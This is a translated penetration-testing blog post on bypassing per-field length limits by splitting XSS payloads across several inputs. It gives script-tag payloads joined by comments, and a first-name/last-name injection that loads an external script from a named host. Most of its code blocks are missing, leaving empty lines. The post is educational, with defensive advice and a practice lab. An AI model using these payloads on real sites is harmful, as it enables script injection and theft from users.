拆分XSS载荷
日期:2021年1月11日
我正在测试一个表单(实际测试在11月进行,但写作中途被中断),发现一个编辑表单有8个输入字段,均未进行输出编码、输入验证或过滤。这通常是XSS攻击的绝佳目标,但存在一个限制:所有字段最多只能输入20个字符。虽然可能有专家能在20字符内构造有效攻击,但我无法做到[1],因此我通过注入一个简单的加粗标签演示了HTML注入:
|
|
显然我无法在真实站点展示,因此搭建了一个实验环境进行测试。如图所示,输入内容未经过编码即显示,但被截断为20字符。
我本打算将此问题与其他已发现的XSS漏洞一并上报修复,但决定先尝试突破限制。
由于输入字符无限制,我尝试使用未闭合的<script>标签(理论上应无效,但值得一试)。失败后我想到:能否在一个输入中打开标签,在另一个输入中关闭?这样只需处理中间内容。
- 输入1:
"><script>alert(1) - 输入2:
</script>
从截图可见,接近成功,但两个注入点之间的HTML不是有效JavaScript,导致错误:
处理此问题有多种方式,最简单的是注释掉干扰的HTML:
- 输入1:
"><script>alert(1)/* - 输入2:
*/</script>
完美!现在JavaScript可执行,成功突破20字符限制。计算可用空间:
- 第一个字段:用12字符闭合输入标签并开启脚本标签和注释,剩余8字符。
- 中间字段:每字段用4字符(闭合前注释并开启新注释),剩余16字符用于载荷。
- 最后一个字段:用11字符闭合注释和脚本标签,剩余9字符。
示例:
|
|
理论载荷空间:8 + (6 × 16) + 9 = 113字符。这不是原始113字符,需按浏览器可解析方式拆分,但远优于单字段20字符。JavaScript对拆分解析非常宽容(例如可在对象与方法调用间插入注释[2])。经调整后,每行满足20字符限制且功能完整:
|
|
此代码创建新脚本元素,通过src加载外部脚本文件(//dn.linja/s),并添加到文档中,等效于:
|
|
即使域名较长,仍有余地调整。注入会破坏页面外观(因注释大量HTML),外部脚本先修复页面显示,再执行恶意内容(如弹窗alert)。
若目标站点使用jQuery,攻击更简单,仅需5个输入(无需短域名):
|
|
此技术可能已被其他测试者使用,但未见公开讨论或课程覆盖,因此值得分享。实验环境已搭建:Split XSS Lab,欢迎尝试。
附加技巧:组合XSS
这是同一测试中使用的另一技术,虽非新创但缺乏文档记录,特此说明。
注册站点时需分别填写名字和姓氏,站点会在多处使用全名(如主面板显示“Welcome back Robin Wood”或任务列表署名)。测试发现自定义验证器允许所有字符,但阻止完整HTML标签(如abc<b允许,abc<b>阻止)。全名显示时未做输出编码。
攻击方法:名字输入abc<script src="//digi.ninja/script.js"(缺少闭合>),姓氏输入/>。站点组合后生成有效HTML标签:
|
|
从而加载外部脚本执行任意代码。单个字段无法恶意利用,但组合后绕过防御。
此漏洞测试已包含在Split XSS Lab中。
防御措施
若站点正确执行输出编码(如HTML编码),上述攻击均无效。输入验证和过滤可作为辅助防御(阻止恶意内容进入),但不可单独依赖,应作为多层次防御的一部分。始终假设来自不可信源(通常为用户)的内容已被污染,并在使用(如直接插入HTML、通过JavaScript添加至DOM或构建SQL查询)时谨慎处理。
参考文献:
- 写作期间@CVE-JACKSON-1337推文展示三种20字符内XSS攻击,但两种需3字符域名,一种仅8字符载荷空间,仍不满足需求。
- Wireghoul的博客和工具展示了类似注释拆分技术应用于PHP的案例。